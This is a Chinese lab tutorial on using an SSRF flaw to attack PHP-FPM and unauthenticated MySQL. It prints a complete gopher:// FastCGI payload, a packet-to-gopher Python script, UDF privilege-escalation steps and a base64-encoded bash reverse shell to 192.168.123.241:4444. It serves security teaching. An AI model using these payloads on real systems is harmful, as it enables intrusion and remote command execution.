SSRF攻击FastCGI执行命令
FastCGI与PHP-FPM
FastCGI
快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。
众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。
浏览器访问静态网页过程
在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。
img
浏览器访问动态网页过程
当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。
img
当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。
这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。
php-fpm
了解了CGI和FastCGI之后,我们来看一下什么是php-fpm,官方对它的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。
也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。
PHP-FPM攻击实现原理
想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php
这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。
而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。
那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On
,就会在执行php脚本之前包含auto_prepend_file
文件的内容,php://input
也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。
环境搭建
安装环境与依赖
这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx
代码语言:javascript复制sudo apt-get install nginx
安装php、php-fpm以及一些插件
代码语言:javascript复制sudo apt-get install software-properties-common python-software-properties
sudo add-apt-repository ppa:ondrej/php #这里容易卡死,解决方法使用代理
sudo apt-get update
sudo apt-get -y install php7.2
sudo apt-get -y install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml php7.2-intl
配置php-fpm
修改配置监听9000端口来处理nginx的请求
打开/etc/php/7.2/fpm/pool.d/www.conf
文件找到如下位置注释第一行添加第二行
;listen = /run/php/php7.2-fpm.sock
listen = 127.0.0.1:9000
注:这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞,此时攻击者可以直接与9000端口上的php-fpm进行通信,进而可以实现任意代码执行。
下面修改权限
代码语言:javascript复制chmod 777 /run/php/php7.2-fpm.sock
打开nginx的配置文件 /etc/nginx/sites-available/default
修改相应部分的配置
server {
listen 80; #监听80端口,接收http请求
server_name hacktop.com; #就是网站地址
root /usr/share/nginx/html/; # 准备存放代码工程的路径
#路由到网站根目录www.example.com时候的处理
location / {
index index.php; #跳转到 hacktop.com/index.php
autoindex on;
}
#当请求网站下php文件的时候,反向代理到php-fpm
location ~ .php$ {
root html;
fastcgi_split_path_info ^(. .php)(/. )$;
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
}
}
启动环境
配置完成后查看一下php-fpm的安装位置,然后启动
image-20211201132107539
重新启动Nginx
代码语言:javascript复制sudo systemctl restart nginx
然后检查nginx是否正确启动 systemctl status nginx
image-20211201132738682
检查php-fpm是否正确启动 ps -elf | grep php-fpm
image-20211201132859864
这里就可以看出上面所说的存在一个master进程和多个worker进程
下面将/usr/share/nginx/html/
(nginx Web目录)下的文件删除,新建一个index.php。
内容可以写上<?php phpinfo(); ?>
用来检查各项是否正常运行,如果页面为空,查看这篇文章解决。
image-20211201133404402
其中Sever API 处和上图一样说明运行正确,然后在目录下新建ssrf.php 内容为
代码语言:javascript复制 <?php
highlight_file(__FILE__);
$url = $_REQUEST['url'];
$curl = curl_init($url);
//第二种初始化curl的方式
//$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
/*进行curl配置*/
curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
$responseText = curl_exec($curl);
//var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
echo $responseText;
curl_close($curl);
?>
该代码为一个ssrf漏洞的示例代码,可以访问/ssrf.php?url=http://www.baidu.com
进行测试,若能实现跳转到百度的页面,或包含百度的页面即SSRF环境搭建成功
image-20211201133950257
漏洞利用
在这里就直接使用Gopherus生成payload
image-20211201134731583
对生成的payload再次进行URL编码,放入URL参数浏览器请求如下
代码语言:javascript复制http://hacktop.com/ssrf.php?url=gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0C%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1FSCRIPT_FILENAME/usr/share/nginx/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
成功执行命令
image-20211201135040353
SSRF利用MySQL未授权攻击
MySQL通信协议
MySQL连接方式
MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:
•Unix套接字•内存共享/命名管道•TCP/IP套接字
•在Linux或者Unix环境下,当我们输入mysql –uroot –proot
登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。•在Windows系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。•TCP/IP
套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h127.0.0.1 –uroot –proot
时就是要TCP/IP套接字。所以当我们需要抓取mysql通信数据包时必须使用TCP/IP
套接字连接。
MySQL认证过程
MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。
MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase
(连接阶段或者叫认证阶段)和Command Phase
(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。
漏洞利用-查询数据库
实验环境:
系统:Ubuntu 20.04.3 LTS 数据库:MariaDB 10.3.31 (mysql没有实验成功,可能是版本的问题)
配置空密码用户
首先我们需要配置一个空密码的用户
代码语言:javascript复制# 创建用户
CREATE USER 'admin'@'localhost';
# 授予权限
GRANTUSAGE ON *.* TO 'admin'@'localhost';
# 刷新权限表
flush privileges;
抓取MySQL数据包
首先,开一个窗口,tcpdump -i lo port 3306 -w mysql.pcapng
,开始抓取3306的数据包。
image-20211201210243808
然后在另一个窗口,开启MySQL终端,查询一些信息。最后记得exit;
,不然会出问题。
image-20211201213500304
中止 tcpdump 使用 Wireshark 打开 mysql.pcapng
数据包,追踪 TCP 流
image-20211201214035748
然后提取request
包,并且显示为原始数据(Raw)
image-20211201214415615
将其整理成 1 行
代码语言:javascript复制bd00000184a6bf20000000012d000000000000000000000000000000000000000d00000061646d696e00006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f7069640534313534390f5f636c69656e745f76657273696f6e06332e312e3134095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e31210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290600000002666c6167730f0000000373686f77206461746162617365730c0000000373686f77207461626c65730600000004666c616700130000000373656c656374202a2066726f6d20666c61670100000001
生成 gopher 数据流
然后使用如下的 Python3 脚本将数据转化为 url 编码:
代码语言:javascript复制import sys
def results(s):
a=[s[i:i 2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" "%".join(a)
if __name__=="__main__":
s=sys.argv[1]
print(results(s))
image-20211201215230891
本地 curl 请求这个 gopher 协议的数据包看看
image-20211201215553354
将生成的payload再进行URL编码,结合SSRF漏洞进行利用
image-20211201215924201
漏洞利用-UDF提权
提权前需要注意: •mysql(mariadb)必须使用root用户启动(不通过service或者systemctl)•
secure_file_priv
变量的值需要为空
寻找插件目录
首先来寻找 MySQL 的插件目录,原生的 MySQL 命令如下:
代码语言:javascript复制$ mysql -h127.0.0.1 -uadmin -e "show variables like '%plugin%';"
然后tcpdump 监听,使用 Wirshark 分析导出原始数据。这里为了方便就直接查询了,步骤和上面是一样的。
image-20211202124657883
写入动态链接库
拿到 MySQL 的插件目录为:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/
接着来写入动态链接库,原生的 MySQL 命令如下:
代码语言:javascript复制# 因为 payload 太长 这里就先进入 MySQL 控制台
$ mysql -h127.0.0.1 -uroot
MariaDB [(none)]> SELECT 0x7f454c4602...(省略大量payload)...0000000 INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/udf.so';
关于 UDF 提权的 UDF 命令,推荐参考国光大佬的这个 UDF 提权辅助页面: https://www.sqlsec.com/tools/udf.html
tcpdump 监听到的原始数据后,转换 gopher 协议,URL编码后,SSRF 攻击写入动态链接库。
image-20211202125541235
可以看到udf.so 已经成功写入到 MySQL 的插件目录下了
image-20211202125633560
以此类推,创建自定义函数:
代码语言:javascript复制$ mysql -h127.0.0.1 -uroot -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"
最后通过创建的自定义函数并执行系统命令将 shell 弹出来,原生命令如下:
代码语言:javascript复制$ mysql -h127.0.0.1 -uroot -e "select sys_eval('echo YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4yNDEvNDQ0NCAwPiYx|base64 -d|bash -i')"
测试过程中默认情况下弹不出来,所以这里将原始的 bash 反弹 shell 命令给编码了:
image-20211202134310277
这里使用的是国光大佬的命令执行辅助工具: https://www.sqlsec.com/tools.html
tcpdump 监听到的原始数据后,转换 gopher 协议,URL二次编码请求一下,然后 SSRF 攻击成功弹出 shell。
image-20211202135909572
上述payload,除了写入动态链接库外,其他的都可以使用Gopherus工具生成
image-20211202140513352
原创作者:Ulysses
内部学员投稿